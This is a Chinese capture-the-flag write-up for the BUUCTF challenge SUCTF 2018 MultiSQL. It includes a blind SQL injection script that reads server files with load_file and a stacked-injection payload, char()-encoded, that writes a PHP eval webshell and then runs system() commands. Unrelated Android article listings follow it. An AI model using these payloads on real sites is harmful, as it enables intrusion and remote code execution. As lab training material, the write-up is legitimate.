buuctf-web-[SUCTF 2018]MultiSQL1
创始人
2024-05-30 06:23:09
0

打开界面,全部点击一遍,只有注册和登录功能可以使用

注册一个账号,注册admin提示用户存在,可能有二次注入,注册admin'

自动加了一个字符,无法二次注入,点击其他功能点

换浏览器重新登录后,各个功能点无法点击

  • 点击用户信息,当id=2,显示以下界面(将结合下面的文件上传利用)

测试id=1

显示如下界面

  • 点击编辑图片,看到有上传文件点(将结合上面的sql注入利用)

上传一个webshell看看

抓包进行绕过

修改一下后缀名,文件上传成功(虽然在bp绕过,后缀名还是为jpg)

上传点目前没啥用,从注入点进行操作,尝试读文件

import requests
cookies = {"PHPSESSID":"jiadkkr16f4o0spgp88tued137"
}
data='0x'
flag=''
r=requests.session()
for i in range(9999):for i in range(1,127):#print (i)url='http://9d09a1ad-3f91-41b5-9e7f-913c17681937.node4.buuoj.cn:81/user/user.php?id=0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'result=r.get(url=url,cookies=cookies).textif 'admin' in result:data+=str(hex(i-1)).replace('0x','')flag+=(chr(i-1))print (flag)break
print(data)

可以读/var/www/html/index.php文件,读取/var/www/html/user/user.php文件(这种方法跑十几分钟也跑不出来)

看了大佬的wp,得知在/var/www/html/user/user.php中是用mysqli_multi_query()函数进行sql语句查询

  • mysqli_multi_query() 执行的sql语句,其可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔,也就存在堆叠注入。

已知存在注入点,且/favicon目录存在写权限,利用sql语句对目标目录写木马

存在各种限制,select,union,直接用char绕过(太菜,用其他绕过写马失败)

感觉以上不知道对做题影响不大,知道是堆叠注入和利用sql对目录写文件的思路就可以

原语句为

select ‘’ into outfile ‘/var/www/html/favicon/shell.php’;

通过char及绕过的语句为

脚本如下:

str="select '' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):if i == 0:print('char(%s'%ord(str[i]),end="")else:print(',%s'%ord(str[i]),end="")
print(')')
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

进行注入,页面显示webshell执行,对_参数进行传参

payload为

_=system('cd /;ls');

看到一个文件为WelL_Th1s_14_fl4g,去读取这个文件

payload为

_=system('cd /;cat WelL_Th1s_14_fl4g ');

得到flag

flag{1cc63c44-f1b0-40c0-a64e-fdc8bfe4f503} 删删改改四五回,哥们只是想混个勋章,太折磨人了,看到我文章有罗里吧嗦的地方见谅,我其他文章都是以精简为主,不在乎文章分数,为了这个勋章,我只好车轱辘话转来转去(这一段就是这个作用)

终于70分了,拿个女神勋章真难啊

相关内容

热门资讯

安卓系统怎么删除appstor... 手机里appstore里的应用越来越多,是不是感觉有点乱糟糟的?别急,今天就来教你怎么轻松删除安卓系...
安卓新系统新功能,解锁创新功能... 你知道吗?最近安卓系统又来了一次大升级,带来了好多新功能,简直让人眼前一亮!想象你的手机就像是一个魔...
手机安卓系统应用下载,解锁智能... 你有没有发现,现在的生活越来越离不开手机了?尤其是安卓系统的手机,功能强大,应用丰富,简直就是一个移...
快手苹果系统换安卓,快手助力苹... 最近有没有发现你的快手APP突然变得有点不一样?没错,就是那个我们每天刷刷刷,看看搞笑视频、直播带货...
安卓系统没有寻车铃,轻松找回爱... 你有没有遇到过这种情况?手机里安卓系统的寻车铃突然失灵了,找车的时候急得团团转,心里那个懊恼啊!别急...
安卓系统的网络定位,安卓系统网... 你有没有发现,现在不管走到哪里,手机都能精准地告诉你所在的位置?这就是安卓系统的网络定位功能,它就像...
安卓系统怎样改电话,安卓系统电... 手机用久了是不是觉得有点卡?或者想换个新系统体验一下?别急,今天就来手把手教你如何给安卓手机换系统,...
安卓系统有什么优势,引领智能时... 你有没有想过,为什么安卓系统这么受欢迎呢?它就像一个万能的魔法师,总能给你带来惊喜。今天,就让我带你...
怎么区分安卓系统平板,如何区分... 你有没有想过,身边那么多平板电脑,怎么才能一眼就认出哪个是安卓系统的呢?别急,今天就来给你揭秘,怎么...
安卓苹果选择哪个系统,助您明智... 你有没有想过,手机里的那个小小的操作系统,其实就像是我们生活中的小助手,每天陪伴着我们,帮我们处理各...
安卓系统怎么关gps定位系统,... 手机里的GPS定位系统有时候真是让人又爱又恨。有时候,我们想要保护自己的隐私,不想让别人知道我们在哪...
电脑安卓系统怎么引导,电脑上安... 你有没有想过,你的安卓系统电脑是怎么一步步引导你进入这个神奇的数字世界的呢?今天,就让我带你一探究竟...
ios系统和安卓系统打王者,系... 亲爱的手机控们,你是不是也和我一样,对手机游戏情有独钟?尤其是那款风靡全球的《王者荣耀》,无论是闲暇...
安卓系统无法手动输入,人工智能... 最近我发现了一个让人头疼的问题,那就是安卓系统竟然无法手动输入!这可真是让人摸不着头脑,毕竟我们平时...
安卓导航如何定制系统,安卓系统... 你有没有想过,你的安卓导航系统其实可以变得超级个性化呢?没错,就是那个每天陪你上下班的导航小助手,今...
安卓系统自带安装器,探索安卓系... 你有没有发现,每次手机更新系统后,安卓系统自带安装器就变得特别贴心呢?它就像你的私人助手,帮你轻松管...
张天灵安卓系统,引领智能生活新... 你知道吗?最近在手机圈里,有个名字可是火得一塌糊涂,那就是张天灵安卓系统。没错,就是那个让无数手机用...
安卓系统使用官方文档,系统架构... 你有没有想过,你的安卓手机里那些神奇的软件和功能,其实都是基于一个强大的系统——安卓系统?没错,就是...
安卓系统哪个系列最好,探索最佳... 你有没有想过,手机里的安卓系统就像是一群各具特色的英雄,每个系列都有它的独门绝技。那么,问题来了,安...
安卓修改系统时间设置,安卓系统... 你有没有发现,有时候手机上的时间总是和你心中的时间不太一样?是不是有时候你明明觉得才刚过中午,一看手...